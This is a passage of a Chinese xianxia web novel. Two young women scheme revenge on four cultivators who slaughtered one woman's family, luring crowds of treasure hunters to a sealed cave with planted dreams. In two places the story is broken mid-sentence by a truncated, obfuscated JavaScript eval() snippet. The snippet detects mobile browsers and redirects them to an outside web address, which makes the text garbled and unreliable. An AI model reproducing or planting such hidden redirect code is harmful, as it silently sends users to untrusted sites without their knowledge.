“凶手一共四家,黎修鳞父子、吴嫣然的爹、另外二人名叫谢洋、尹天佑。他四人原是我爹的师兄弟,同门修行两百年,关系向来过得去。尤其是黎修鳞,还是我娘同父异母的亲哥哥,跟我家往来密切,从没闹过矛盾。” 周羽珞很尊敬黎修鳞和其他三位师叔伯,怎么都想不到他们会突然联手血洗周家。 最令她难以接受的是未婚夫黎申竟抢着充当刽子手,当着她的面杀害家人。 那晚月色朦胧,狂风仿佛夜间惊醒的孩子,全力呼号,试图撞破杀手们布置的法阵,冲入宅院阻止暴行。 此外再无任何力量来干预屠杀,庭前廊下血雨抛洒,弱小者拼命哭喊求救,相继发出生命里最后的呼号。 周羽珞和母亲且战且退,被逼至中庭,见到重伤垂危的父亲。 往日慈眉善目的舅舅和师叔伯们杀气腾腾包围上来,惊惧中她看到藏身阴暗里的黎申,还以为他是来救人的,急忙呼喊。 “表哥!” 黎申大踏步走入灯火中,那一身斑驳血渍和陌生的阴冷笑容化作一个响亮的巴掌狠狠抽中周羽珞。 她无法面对事实,认定这个黎申是假冒的,被他当面刺穿左肩,切肤之痛仍不能令她清醒。 “表哥,舅舅!这到底是为什么?!” 比伤口更疼的是持续受恐惧迷惘碾压的心,近百年的阅历仍抵挡不住如此猛烈的人事剧变,如果死亡能终结噩梦,她但愿他们快些下手。 还是父亲老辣,断气前竭力保全她,对黎修鳞等人说:“进入秘境的咒语我都传给羽珞了,杀了她,你们永远别想拿到完整的功法。” 周羽珞不明白父亲在说什么,依稀听出这是一句拯救她的假话。 父亲生怕她反应慢,骗不过凶手们,拽住她手腕灼急叮嘱:“女儿,不管他们如何逼迫,你都不能说实话,坚守秘密才有可能活命!” 他已和妻子暗中商定掩护女儿逃生,说罢联手倾尽最后的法力,释放出千万道光丝黏住围困者。 “羽儿快跑!” 母亲自爆元神炸开法阵一角,气浪推着周羽珞飞出缺口,跌落至家宅外的逃生传送阵。 她悲痛欲绝又顿时清醒,哭泣着启动传送阵,逃进南郡外的丛林。 埋头飞奔数十里,心还空唠唠的,劫难的冲击和求生本能阻断一切思考,只是没命地逃啊逃。 一道冷光悄然追来,倏地刺入她的右后腰,她的腹腔像被一把滚烫的刀子贯穿,力量瞬间被钻心疼痛剥落殆尽,笔直坠落。 停下必死,她奋力挤出一丝灵力,御风向左近的悬崖下滑行,随着乱石跌跌撞撞落在山涧旁,挣扎戴上隐身用的虚空之戒,而后瘫倒在潮湿的河滩上。 那袭击者很快追来,在近处搜查徘徊,冷笑道:“表妹,出来吧,你中了我的飙霆刺已经没救了。表哥此刻还能给你个痛快,要是落在其他人手里可就难说了。” 黎申的声音像阴暗洞穴里爬出的毒虫,将名为愤恨的毒液一点点注入周羽珞心房。 她没做梦,是陷入了比噩梦更可怕的真相。 这么多年来她都在和畜生谈情说爱。 冉彤很想亲身去到周羽珞身边,抱住她好生安慰。 她经历过逃亡,把那时的绝望乘以十倍大概能贴近周羽珞临死前的感受。 “黎申没发现你?” “嗯。” “那之后你就遇见了杏姑?” “那禽兽走后我自知命不久矣,取出聚灵旗想召唤一些妖兽来和我做交易。” 将灵魂献祭给某些妖兽能驱使它们杀戮仇人,还算她运气好,引来了一个投缘的鬼修。修鬼道能保存自我意识和生前修为,可施展的手段还比活着时多。 她修成后最初夺舍了一个杀人练功的净境女魔修,以对方的身份来到德康城,一面调查黎修鳞等人行凶的动机,一面伺机复仇。 不到一个月便得知黎申与吴嫣然早在她遇害前就勾搭成奸。 黎申还向吴嫣然绘声绘色讲述那晚追杀她的情形,感叹:“我本想制服她,夺了她的元阴再下手,可惜让她逃了。” 这对狗男女一起用虚情假意蒙骗她,堂皇享受她的柔情关爱,背地里则把她当傻瓜嘲弄。 冉彤想象周羽珞偷听这段对话的情形,舌根下渗出一股被怒火烧糊的苦涩,恨不得马上冲到黎申面前乱砍乱剁。 周羽珞说:“我当时快气疯了,之后设计活捉了吴嫣然,一番拷问逼出很多事,大致弄清了我爹和黎修鳞等人的恩怨。” 两百年前,周父和黎修鳞等四人都是德康城里靠卖苦力为生的凡人。 一日周父外出送货,进山遇到一名化境修士。 这修士见周父资质不错,主动收他为徒。 周父尝到修行的甜头,向师父推荐黎修鳞、吴奇、谢洋、尹天佑这四个好友。五人如愿做了师兄弟,一齐修行。数十年后,人人得道。 后来那修士外出云游,从此鸿消鲤息,不知所踪。 又过了一百多年,五名弟子各自成家立业,都有了一番作为。 周父天分最高,另外四人无论怎么勤奋刻苦总追他不上,日子一久便起了猜疑。 “黎修鳞对吴奇等人说,师祖远行前曾将本门完整的功法秘诀交给我爹,让他代为传授给其他弟子,我爹私心重,独吞了秘笈,因此修行比他们顺当。吴奇等人信以为真,对我爹生恨,故而阴谋串通屠我满门,抢夺秘笈顺便杀人泄愤。” 周羽珞坚信师祖并未传授父亲额外的功法,假如有,父亲不可能藏着不告诉母亲和她这个独生女。 经过深入调查,发现事情还不简单。 “我原以为黎修鳞在撒谎,他这人贪淫好色,舅妈死后他娶过好几房续弦,都是待到女方年老色衰时便借故休弃。为此我爹曾多次责备他,他想必怀恨,捏造谎言煽动其他同门残害我家。但在夺舍吴嫣然,冒充她接近黎申后,我又探得他们真找到了师祖埋藏的宝藏,还亲自去实地调查过。” 宝藏地点位于百花州北部山区,去年周羽珞从黎申口中套出路径,悄悄前往查探。在禽鸟罕至,虫兽绝迹的峡谷里找到一个被封印的地洞。 “那封印已毁掉一半,另一半仍有效力,以我臻境中期的修为都进不去。黎申说那个封印需在月圆之夜使用特定的咒语才会开启,我爹死前骗他们咒语在我这儿。我不知道这是不是黎修鳞搞的鬼,总之这五年他们四处找我。我看时间充裕便在黎吴两家轮流潜伏,想慢慢找他们的弱点,未料到你会被他们捉住。” 冉彤旁观者清,怀疑周父当年真私藏了功法,但死者为大,还得体量周羽珞的感受,因此没提这个疑点。 周父有没有过错并不重要,目前可知黎修鳞等人会在下个月圆之夜带我去找那宝藏,不设法脱困,到时便是我的死期。 周羽珞的想法是尽量找机会帮她出逃,这样往后他们还能里应外合报仇。 冉彤问:“那四个老贼都是化境修士,我们再练几十年也未必杀得了他们,姐姐等得了那么久?” 周羽珞叹气:“我是想马上报仇,可也得量力而行,花再长时间也得等。” “我可等不了,也多半没机会等。” 冉彤认为逃跑希望渺茫,不能把有限的时间和时机浪费在这上头。她已察觉人生陷入了怪圈,不是等死就是在等死的路上,那么索性遵循规律,照老套路亡命一搏。 “周姐姐会炼器吗?” “略通一二。” “别自谦,昨天你杀人的灭魂针可是自己炼制的?” “是。” 周羽珞炼器技能不俗,冉彤觉得计划有着落了。 “姐姐能炼制灭魂针,想必也能炼制我说的这件法宝。” 那法宝名叫“梦渊铃”,乃大堂姐冉灵犀创制,能将幻觉注入人的梦境,法力越强,影响的人越多,亦可对同阶修士使用。 冉彤在猎场得来的三足乌和多目怪正是炼制此宝的主要原料,当时看到这两种妖兽,计划便在她脑子里诞生了,至此已基本成形。 她被囚黎府,没条件炼器,更没法开展后续行动,便拜托周羽珞代劳。 周羽珞听她讲解炼制“梦渊铃”的方法,十分佩服其精妙构思,赞叹:“早听说冉家大小姐是万中无一的奇才,只看她炼器的造诣就出类拔萃。” 她也是上等英秀,琢磨两遍解出窍门,问冉彤此物有何用途。 冉彤道出计谋,周羽珞听得乍惊乍喜,手心微微发汗,按住兴奋,真心钦佩道:“妹妹不愧是名门之后,有勇有谋。你说得太对了,强攻不如智取,咱们就借力打力,再挑动恶人们自相残杀,还能趁乱闯出一条生路。” 随后又担忧:“我修为不足,只怕不能让梦渊铃发挥理想功效。” 冉彤稍加迟疑,说:“我有一块神木牌,你拿去辅助炼器,施术,定能成功。” 赌博靠运气也靠眼光,她相信自己没看走眼,愿将保命之物借出。 周羽珞明白这决定对冉彤意味着什么,也很感激她无保留的信任,确定二人真是过命的交情。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14433956|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 第二天她找间隙与冉彤碰头,拿走炼器所需的器具,晚上借故与黎申大吵一顿,“赌气”出走了。 距离下次月圆还有二十一天,冉彤耐心等待,随着时间推移,黎申明显开始怠慢她,黎修鳞也对她不闻不问。 只是看管依然严密,暂时还未禁止她外出,将活动范围局限在方圆三里内,每次至少派七八人跟随监视。 这天冉彤来到黑水河边,百无聊赖地躺在草地上晒了一会儿太阳。 微风送来附近林子里雪松的甜香,让她想起老魔。 睁眼望见蓝蓝的青空宛若他的身影阑珊。河面蹁跹而过的野鹤恰似他的冲淡气质,花丛里飞舞的蝴蝶犹如他华美的仪表。 她捧着微红的脸,感觉自己被黎家关出毛病了,竟然对千岁老爷爷的美色念念不住。 意识到心思歪了却管不住手,用石子在岸边沙地上描画老魔的影像,揉碎花草做颜料,涂抹色彩,不久画出一幅一丈见方的老魔画像,自认有八九分神似,得意地站在一旁仔细观赏。 看了多时,想做法抹去,身体突然不能动了。 “画得这么好,擦掉不可惜吗?” 一个白发童颜,背着五尺高红葫芦,身穿粉红色短衫,柳青色膝裤,脚踩草鞋的老者自右侧走到画像旁,低头认真端详片刻,笑眯眯问她:“小姑娘,你画的是谁啊,还怪好看的。” 这老头儿须眉如雪,红润的皮肤找不到一条皱纹,鼻子硕大多肉,像刚煮好的香肠,铜铃般的大眼睛里黑多白少,整个面相瞧着又老又小,令人一见难忘。 冉彤侦查不到他的修为,看他的穿着打扮不似正派人,又不见黎家人来过问,想必也着了老头儿的道。 “前辈是何方神圣,晚辈不曾得罪您,请莫要戏弄人。” 老头儿笑道:“老夫是怕吓跑你。快来说说你这画的是什么人?” 冉彤判断他认识老魔,在辨清他与老魔的关系前不敢随便讲话,机敏道:“这是小说里的人物。” “什么小说?” “紫烟散人的《云影仙踪记》,不知前辈是否知晓。” “哦!老夫正在找这本书呢,你带在身上吗?快借我瞧瞧!” 老头儿立刻松开她,满脸期盼的样子似乎和老魔没过节。 冉彤已将那几本小说据为己有,取出《云影仙踪记》上册交给他。 老头儿接过乐呵呵翻看:“这个人写的书要用特定的方法阅读是吧?” “是,晚辈有读书的咒语,您要吗?” “不用不用,这点小把戏还难不倒老夫,不过怎么只有上册,下册呢?” 冉彤揣测他的来历用意,动作慢了半拍。 老头儿会错意,豪爽道:“老夫不会白要你的东西,给你一件宝物交换总成了吧。” 他自称“老夫”,神态语气却没有一点长者应有的风范,活像俏皮顽童。 和少年外表,宗师气度的蓝衣老魔正相反。 “我看看拿什么跟你换,这个,不行,你用不了。这个,哎呀,也不行……” 老头儿隔着储物袋打量里面的事物,比较半晌挑出一个小法阵。 “这传送阵以你目前的修为虽不能安全使用,但万不得已拿来逃命还是可以的,就是进去前必须做好防护,免得死在里头。” 冉彤认出那是高阶法宝“乾坤挪移阵”,进入后可瞬移至远方,且不受空间限制,随时随地都能用。 拿这么贵重的东西换两本小说,这人也太大方了。 她不太敢做这笔一本万利的买卖,老头儿性急催促:“年轻人别太贪心,老夫身边只有这一件法宝适合你,别的给你也只能做装饰,快把下册拿来。” 冉彤老实交出另一本小说,在老头儿接过时探问:“前辈对这书如此感兴趣,也知道书里的长嬴法师?” “长嬴法师是谁?” 老头儿一脸懵,不像装的。 冉彤指指地上的画像:“就是他啊。” 老头儿扭头看一眼,笑道:“原来他在书里叫长嬴法师啊,这作者还挺会起名的。” 冉彤很想深入打听,又恐教他看出她见过真实的老魔。 群疑满腹中,老头儿冷不丁抬起右手,长满粗茧的手掌覆住她的额头。 他那双大得出奇的黑眼仁蓦地扩张填满眼眶,散发出道道暗红波光。 “小姑娘,这是为你好。” 冉彤在强烈晕眩中后退一步,随即复原,记忆被生生掏走一块,只记得自己用《云影仙踪记》跟某位高人换得了“乾坤挪移阵”。 那阵盘就在她手中,高人的模样却和地上的画像一道从她印象里消失了。 27.应急 离恨天正在追捕蓝衣老魔,刚才那人的行为像魔道中人,兴许是老魔的旧识。 冉彤不想跟这些人扯上干系,急着要走。 转身时一条黄色的影子窜到跟前,是阿黄。 “阿黄,你这些天还好吗?” 阿黄还像前两次见面那般对她又抱又蹭,无比亲热。 见到它冉彤也很高兴,搂住狗头来回抚摸。 阿黄很快挣脱开,右爪刨着沙子,竟写出一个方正的“申”字。 冉彤震惊,确信它不是凡狗了,直觉断定这个“申”字指代黎申。 “阿黄,你以前认识我?这个申是指黎申吗?” 阿黄使劲点头,双眼流露欣喜。 冉彤猜这狗是周羽珞生前饲养的灵宠,知道周家遇害的内情。 她捧着阿黄的下巴问:“你是不是想告诉我黎申是坏蛋?” 阿黄愣了愣,眼里瞬间溢出悲伤,但随即转为坚定,脑袋点得比刚才还用力。 冉彤抹去字迹,捧着阿黄的下巴道谢:“明白了,谢谢你告诉我这些,我虽然失忆了,但知道你对周羽珞很忠心,定会小心的。你也是,要好好保护自己,别再到黎家来。” 叮咛未完,黎家跟班们相继走来。 他们被那怪老头的法术蒙蔽,不知道冉彤和外人接触过,倒是很介意阿黄。 “又是这只疯狗啊,张力那小子也不看好自家的畜生,放它到处扰民。” 冉彤提防他们害阿黄,刻责:“你哪只眼睛看见阿黄扰民了?它在跟我玩呢。” 伸手挠了挠阿黄的头,吩咐:“阿黄,我得走了,你快去找你的主人吧。” 阿黄仰头凝望她,下了很大决心扭头跑开。 冉彤目送它走远,这才带着跟班们返回黎府。 晚上黎申来告知她:“明天尹师叔会来,表妹就留在家中待客,别出门了。” 冉彤斜眼瞟他,冷哼:“我不记得什么尹师叔,他来不来与我何干,凭什么不许我出门?” 黎申对她失去耐心,皮笑肉不笑地下强制令:“表妹失踪这五年心也变野了,这德行可做不得我黎家的少奶奶。本来爹说你不听话就把你关起来,我心疼表妹,替你好一阵求情才让他收回成命。你若执意辜负我的苦心,那表哥也护不住你了。” 再过四天就是月圆,提前跟他们翻脸徒增风险,冉彤明智退让,傲娇道:“不出去就不出去,这么凶干嘛?” 黎申神气稍微转和,调侃:“这才乖,爹请了高人来治疗你的失忆症,再过四天你就能想起从前的事。到时你我再续前缘,表哥保证你会喜极而泣。” 冉彤悄悄捏住手指,免得忍不住抽他,假笑:“我也想看看黎表哥是不是如你自称的这般多情,若让我失望,我可要罚你。” “哈哈,那是自然。” 次日冉彤见到四凶之一的尹天佑,此人化境初期修为,言谈粗俗,不像干正经营生的。会面时猛盯着她瞧了好一阵,嘿嘿道:“这丫头倒是命大,可惜命不好。” 他笑得像只觅食的螳螂,毫不掩饰贪婪凶残,连黎修鳞都看不下去,清清喉咙提醒:“尹师弟还是这么爱开玩笑,羽珞如今失忆,你说这话会吓到她的。” 又向冉彤解释:“你尹师叔一贯幽默,逗你玩呢。” 他先给尹天佑的言辞定了性,正方便冉彤还击,讽刺:“让人开心的才叫玩笑,若惹得人生气,那就叫嘴欠。” 尹天佑大怒,拍案吼嚷:“臭丫头,五年不见,你倒学会埋汰人了!信不信我……” 黎申拦住劝说,冉彤从容笑谑:“尹师叔何故发火?难道听不出我也在跟您开玩笑?” 黎修鳞也安抚尹天佑,使眼色暗示他暂且忍耐。 尹天佑勉强压住火,黎申岔话问:“尹师叔,近日外面可有有趣的事?请说些给我们听听。” 冉彤通过这句话判断尹天佑耳目灵通,擅长搜罗消息,希望能从他的狗嘴里听到些有用的东西。 尹天佑说:“最近最新鲜的大事,你们前阵子都在鹧鸪山亲眼瞧见啦,我还想让你们讲讲那天的情形呢。” 那赵开元重伤后被送去缥缈城总坛,随后不治身亡。现如今德康城早已换了新主事,依然严禁亲历者们议论鹧鸪山事件。 黎修鳞说:“离恨天下了禁令,我们还是换个话题吧。” 尹天佑嘲他太小心:“你以为我们不说旁人就不知道吗?外面早传开了,我从朋友们那儿东一句西一句挖出不少内幕,那打死赵开元的魔修并没被离恨天捉住,至今仍逍遥法外,而且他就是去年大闹缥缈城的悍匪。” 黎家父子对此很感兴趣,黎申追问:“缥缈城的事我和爹略有耳闻,听说当日七殿长老与离恨天众多精英悉数惨败,全靠千重老祖到场方挽回局面。我们都感叹那魔修法力之强,当世罕有,原来竟和那日鹧鸪山上的是同一人。师叔可知此人来历?” 冉彤怀着十倍的好奇竖起耳朵聆听,期待能扩充关于老魔的情报。 尹天佑是个粗人,不懂得卖关子吊胃口,反斥:“这我哪儿知道啊。” 冉彤正失望,又听他转折:“他是什么人我还不清楚,倒知道他是打哪儿来的。去年离恨天不是全面通缉烈阳冉家的小女儿吗?听说那魔修原本被封印在枫林州南部的禁地,就是被这个冉丫头放跑的。” 扯到自己头上,冉彤听得更认真了。 黎修鳞接话:“我说离恨天干嘛这么在意一个黄毛丫头,原来还有这层关联。那小丫头只有胜境初期修为,背后定有其他魔道势力支持才办得到吧。” 他们进而讨论起谁是幕后策划。 尹天佑援引离恨天长老们的看法:“他们认为万象圣尊嫌疑最大,七曜城是和离恨天罢战几百年了,可期间一直暗流汹涌,小打小闹没停过。万象圣尊雄才大略,志向高远,最终还是会向道祖叫板的。” 黎修鳞赞同:“若是白子落,那一切都说得通了。他活了两千多岁,那魔修想必是他早年的故友,救出来帮他一道对付离恨天。师弟带来的消息太重要了,看来用不了多久,人界必将大乱,我们得提前做好准备,以防介时受池鱼之殃。” “所以要尽快弄到那功法,后天……” 尹天佑忘形之下即将说漏嘴,黎申促急打断:“尹师叔,侄儿有事想单独求教,我们去后面说吧。” 冉彤兀自沉思,哪管他们的蝇营狗苟。 她也觉得当日是受人引导去到封印老魔的古城遗迹的,算命老太婆不消说了,那在残秽之渊击破云家的护山大阵,后来又在迷雾森林里保护她,指引她前行的神秘寒气也很可疑。 他们真是万象圣尊的手下吗? 假如老魔是受其救助脱困的,这会儿应该已与万象圣尊结盟了。 欸,他要是知道我是七曜城派去救他的就不会再怀疑记恨我了吧,照这么说的话,往后再见面我也不用避猫鼠似的躲着他了。 有望与强大的老魔解除敌对关系,她由衷开心,感觉老天还是眷顾她的,更坚定了摆脱当前困局的信心。 转眼就是十五,周羽珞跟随吴奇来到黎府。 “对不住啊黎师兄,小女太任性,让你们担心了。” 吴奇向黎家父子道歉,黎修鳞和黎申以为吴嫣然赌气出走后回了吴家,也没多问。 冉彤和周羽珞趁人不备时互换眼神,两个人都放下心来,她们顺利度过了分别的这些时日,一切都在按计划进行。 临近事发,身边多出两名化境修士,她们不敢再用神识沟通,谨慎扮演好各自的身份,悄悄相互祈福祝祷。 午时黎申来到冉彤的房间,说:“表妹,那位高人已在约定地点等我们,该出发了。” 冉彤问:“就这么去?不做什么准备吗?” “你人到了即可,快走吧。” 他和黎修鳞陪同冉彤坐上云车,另一辆云车跟随他们出发,冉彤故意问:“谁要跟我们同去吗?” 黎申哄骗:“吴师叔和尹师叔也有事请教那位高人,都是自家人,不用介意。” 冉彤不说话,借欣赏窗外风景观察行进路线。 车一路向北飞行,他们果然是去周羽珞所说的那个藏宝地。 红日西斜时,云车降落在一处深山峡谷。 这是一片酷似青龙沟的不毛之地,座座峭壁似被巨斧整齐劈开,棱角分明地排列成行,守卫着一个关隘般的峡谷。 谷内烟障弥漫,灵气稀薄,步行会遇到数不清的险阻,沿途景物千篇一律,常人很难辨识方向。地面随处可见白骨皑皑,看上去都是遇困而死的动物。 凡人到不了这里,修士也不会对这资源匮乏的地方感兴趣。 冉彤跟着黎申等人下车向峡谷深处飞行,一路默默复盘所过的地形,忽然发现整座峡谷是一个巨大的绝灵阵,周边地脉的灵气一到这里就被分流冲散了。 此阵名为“阴刀断龙阵”,她只在云宿雨借出的孤本文献上见过,直至去青龙沟隐居,才结合当地地貌切实领悟了阵法的布局原理。 那青龙沟古早前本是一座上品灵脉,不知被谁布阵截断龙头龙尾,导致灵气枯竭,和这峡谷的情况很相似。 把宝藏藏在绝灵阵里,他们那位师父真够精的。 冉彤戏演全套,几次质问黎申:“怎么带我来这种地方?还要飞多远啊?” 黎申总是说:“快了,快了,就在前面。” 中途周羽珞对吴奇说:“不好了,爹,我的储物袋破了个洞,等我检查一下漏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黎修鳞冷笑:“你这丫头倒比失忆前狡猾多了,若当初有这么机灵,我还真想让你做我的儿媳妇。” 吴奇咳嗽一声,抱怨:“师兄,你说这话不合适吧。” 他为吴嫣然抱不平,黎修鳞忙笑哄:“我就随口一说,嫣儿才是我黎家既定的少夫人,等此间事了,我定让申儿风风光光迎她进门。” 谢洋正色道:“两位师兄别顾着拉家常了,正事要紧。” 他请平野居士尽快治疗冉彤的失忆症,平野居士却说:“不忙,待老夫先审审这小丫头。” 他带着和蔼的神情走到冉彤跟前,问:“方才那件法宝分明是魔修炼制的,你从何处得来的?” 小泥丸失手,这点大出冉彤意料。 不过越危险的时刻,她越能随机应变,已火速想出对策。 听平野居士的话正中她下怀,便一丝不乱讥嘲:“此物乃家师所赠,说出他的名号怕要吓死你们。” 黎修鳞呵斥:“死丫头还敢吹牛,你三个月多前刚失忆,怎么就拜了师父?” 冉彤反驳:“我运气好不行吗?你不怕死我便直说了,那日争些踏平鹧鸪山的大修士就是我师父。” 众人面面相觑,尹天佑用力反剪她的右臂,詈斥:“还想唬人,让我先废了你!” 冉彤马上用左手掏出一样东西,忍痛冷笑着向他们展示。 “你们可认得这个。” 她手里握着一块寒星铁质地的腰牌,上面镌刻的“天瞳卫”三字像三道寒芒戳中黎修鳞等人双眼,连平野居士也不禁惊诧道:“这是万象圣尊的卫队腰牌,你是七曜城的人?” 冉彤默默感谢秦不羁,开始另一场酣畅淋漓的演出。 “这牌子是师父给我的,说遭遇魔道人士时可拿出来威吓对方。你们都说是万象圣尊救了我师父,猜得倒不错。” 她手持天瞳卫牌符已很能说明问题,万象圣尊与老魔结盟,双方想必互有馈赠,老魔把得来的礼物转赠给徒弟也很正常。 冉彤还有更有力的证据,嘲弄黎申:“你知道那日我师父杀死赵美玲以后为何会返回鹧鸪山勒令离恨天放人吗?我是他的爱徒,他真正想救的人是我,顺便让你们这些人跟着沾光,你应该向我谢恩。当晚师父还来你家看望我,说你老子在我身上下了追踪禁制。我想看看你们搞什么阴谋,让师父先别替我解开。他说你们若敢伤我一根汗毛,就把你们全杀了,再炼成尸傀!” 说完肆无忌惮大笑,真把恶人们唬住了。 老魔神通广大,杀了他的徒弟,估计这辈子就到头了。 28.胆大包天 正当骑虎难下,平野居士首先感知到远处的异动。 “有很多修士正朝这方来,是你们叫来的吗?” 黎修鳞等人也有所察觉,来人不下数百,有别个还在厮杀混战。 他们从未向外界透露过此地,不知那些人为何会闯入这与世隔绝的峡谷。 吴奇见女儿迟迟没跟来,率先去查看。 往回飞出十几里,见吴嫣然正被两个臻境修士追击,忙去营救,三个回合内杀掉二人。 “爹,不好了,外面来了好多人,说是来找仙人墓的!” 周羽珞险些丧在那二人手中,表情惊慌至极,内心却是锣鼓爆竹齐鸣,欢喜若狂。 去吴家之前的半个月里,她带着“梦渊铃”前往百花州和隔壁枫林州、中州的数个城市,实行冉彤的计划。 那夜冉彤问她:“周姐姐,百花州也流行仙人骨的传说吗?” 相传众神飞升的时代,一些真仙在羽化后将自己的肉身封存起来,留以提携后世的有缘人。 真仙的肉身永存不朽,每一滴血,每一块肉都是提升修为,益寿延年的绝世灵药,最难得的是那天地归元,千锤百炼的内丹,更是长生不老,塑造仙体的至宝,谁能得而炼化 ,必将无敌于人界。 这则传说流传数万年长盛不衰,因为历代不少典籍记载历史上好几个修真者在发掘仙人墓后成为战无不胜的大修士,距离最近的是千年前称霸一时的魔道巨枭“极恶魔星”。 有这些真实案例存在,当代众多修士仍对“仙人墓”保持憧憬,在十州都流传着各种相关消息,煽动着渴求机缘的人们,也制造了无数起夺宝引发的惨案。 “我们就把那个藏宝地营造成‘仙人墓’,用梦渊铃植入人们的梦境里,鼓动他们在下次月圆时去那里寻宝,准能搅黄黎修鳞等人的好事……” 周羽珞依计行事,努力散播幻梦,有神木牌辅助,她的术法最高能影响极境初期的修士。 那些凑巧在她施法时入定的修士于梦中看到仙人墓的幻景,当中博学多闻的很快通过梦中信息查到确切方位。 修真艰难,修士们不会错过任何可能存在的机缘,今日赶来寻宝的愈千人。有的来自敌对阵营,有的心怀鬼胎,在峡谷中遭逢后相骂相杀,播撒血色喧嚣。 “这里哪来的什么仙人墓啊!定是有人造谣!” 吴奇忙着去向同伙报讯,一名化境后期修士飞速追来,看到那两具尸体后怒骂他和周羽珞:“何方贼人,敢杀我师弟!” 吴奇情知打不过,赶紧叫上周羽珞逃命。 那化境修士穷追不舍,放出一头七级飞天鳄扑咬他们。 周羽珞惊叫:“爹!这畜生遁速太快,我们逃不掉的!” 吴奇亦明了,保命心切,也顾不上独生女儿了,竟想牺牲她拖住敌人,假意喊道:“嫣儿,走右边,待为父替你抵挡一阵!” 他想趁周羽珞照办时将她推向鳄口。 谁知周羽珞身形陡转,避过了他的袭击。 “吴师叔,你想干什么?” 她用自身习惯冷笑,吴奇惊觉女儿变了个人,胸口已被掌力重击。 周羽珞带着神木牌,法力翻了一倍,吴奇惊异中没能顶住这一掌,惊叫着向后翻滚,被飞天鳄一口叼住撕咬。 周羽珞扭头逃跑,仇人的惨叫迅速远去,带走了一分堆积在她心头的冤屈,使她压抑五年的情感终于得以宣泄。 等着吧,其他人一个别想逃! 她借助神木牌成功脱险,几次使用下来越发感叹这法宝的强大神奇,也更急着将它交还冉彤。 那女孩是她的大恩人,可不能再连累她。 吴奇离场不久,大批修士抵达那个被封印的地洞旁,中有一些认识黎修鳞等人,问他们是否也是来找仙人墓的。 黎修鳞反问一位熟人:“谁告诉你们这里有仙人墓?” 那人代表其他人说明:“前些天我们都得到相同的梦谕,受其指引来找传说中的‘仙人墓’,黎兄你们没收到梦谕又是如何找来的?” 尹天佑最沉不住气,急恼:“这里没有什么仙人墓,是我们师祖收藏功法的密室,你们准是被什么人骗了,注定空跑一趟,快回去吧!” 他仗着平野居士镇场肆意驱赶来者。 平野居士却瞧出不妙。 到场的还有一些疑似魔道中人的修士,隐藏修为阴区区站在角落里。 人为财死鸟为食亡,今天他受谢洋重赂邀请前来帮忙,只答应替那小丫头找记忆,不想做赔本买卖。 那些寻宝者当然不会向尹天佑低头,几个陌生人先驳斥他:“你师祖在这儿立了标记吗?不然凭什么叫我们相信?” “我们辛辛苦苦找了来,至少查个明白,决不能被人当猴耍!” 黎修鳞比尹天佑精明,知道来者都不是好相与的,能动嘴就尽量别动手,连忙劝说:“诸位请稍安勿躁,我师弟是粗鲁了些,可绝没撒谎。定是哪个妖人耍的鬼把戏,将诸位诱骗至此,好图谋不轨。” 谢洋则转身质诘冉彤:“周羽珞,是不是你那魔修师父干的?!” 冉彤轻蔑笑嗤:“我师父何等人物,怎会跟你们这些瓦合之卒纠缠?还是问问你的师兄弟,是不是他们不小心走漏了风声。” 谢洋骂她挑拨离间,她麻利还嘴:“若无人泄密,除你们几个还有谁会在意这鸟不拉屎的地方?我看是你们中间有的人担心分赃不均,故意放出风声引这些人过来,好防止被人黑吃黑。” 黎修鳞四人都是凶残贪婪之徒,表面和气,暗中戒备,被冉彤一语中的戳穿心病,尹天佑这浮躁鬼先怀疑他心目中最恶毒的黎修鳞,粗声问:“黎师兄,不会是你干的吧?” 黎修鳞大怒:“尹师弟,外人说你糊涂我还总是维护你,如今看来你是真糊涂。我的修为高出你们三个,还会怕你们吗?” 尹天佑想了想,调转矛头说:“那就是吴奇最可疑,他修为不及我们,为人又阴险。刚才他女儿借故掉队,他又第一个找借口离场,我看跑不了是他捣的鬼!” 寻宝者们没耐心看他们内讧,一个化境后期的男修插嘴:“我们没功夫看你们唱戏,把那地洞打开,让我们一探究竟。倘若没有仙人墓,我们马上走人,不会稀罕你们家的功法。” 余人一齐附和,强烈要求打开地洞的封印。 黎修鳞等人没进过地洞,估摸里面除了功法还有师父留下的宝物,生怕被这些人抢走,仍想争辩拒绝。 冉彤欢喜计谋得逞,正寻机挑唆双方火并,内丹突然躁动起来,与之前抽离的那一丝真雷产生感应。 蓝衣老魔来了! 她像被冷刀子捅穿背心,惊恐四顾,目光扫遍全场,没有一张脸与老魔头对上号。 那魔头幻术了得,我怎么看得出来?他铁定就在这儿,并且已经认出我的真身了! 她汗流浃背,头皮发麻,自忖这次死多活少。 然而恐惧达到顶峰后,破釜沉舟的意志再度被唤醒,握紧双拳恢复镇定。 只要他不立刻杀死我就还有转机。 已有几个暴躁的寻宝者意欲动武,谢洋恳求平野居士主持公道。 这老头儿圆滑道:“这些道友远道而来都很辛苦,也并非是来抢夺尔等的功法,不如依了他们,待看过地洞里的情形再说。” 黎修鳞等人见平野居士站干岸,自知寡不敌众,被迫认怂妥协。 他指着冉彤对寻宝者们说:“这封印我们一直打不开,只这丫头有解封的咒语,她此刻正失忆,得先治好她才能找回咒语。” 有几个修士自称会治失忆症,平野居士苦笑:“老夫也会治这症候,可这丫头的师父太凶残,动了她恐有性命之忧啊。” 冉彤心知绝不能露怯,不管老魔什么反应,总之先骑驴看唱本,走着瞧。傲然昂首道:“没错,家师正是去年横扫离恨天总坛的那位豪杰,他的本事你们想必都有耳闻,有谁不服气敢跟他切磋吗?” 大众或惊或愕,纷纷向她索要证据。 冉彤高举天瞳卫腰牌。 